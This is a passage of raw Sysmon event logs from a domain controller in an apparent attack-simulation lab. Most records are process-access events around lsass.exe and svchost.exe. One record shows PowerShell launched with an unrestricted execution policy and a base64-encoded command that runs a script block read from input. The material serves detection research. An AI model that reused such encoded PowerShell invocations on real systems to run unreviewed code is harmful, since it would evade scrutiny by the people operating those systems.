e|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.210{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003000Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.210{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002999Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.210{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2902-5F80-9F00-000000007F01}5060C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9F00-000000007F01}5060C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.710{A5F018FF-2902-5F80-9E00-000000007F01}42005064C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2902-5F80-9F00-000000007F01}5060C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdb7331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0163d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd008356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd014889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd01447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffacd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcffa2a7(wow64) 154100x80000000000000003184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.725{A5F018FF-2902-5F80-9F00-000000007F01}5060C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.710{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.710{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.710{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.663{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 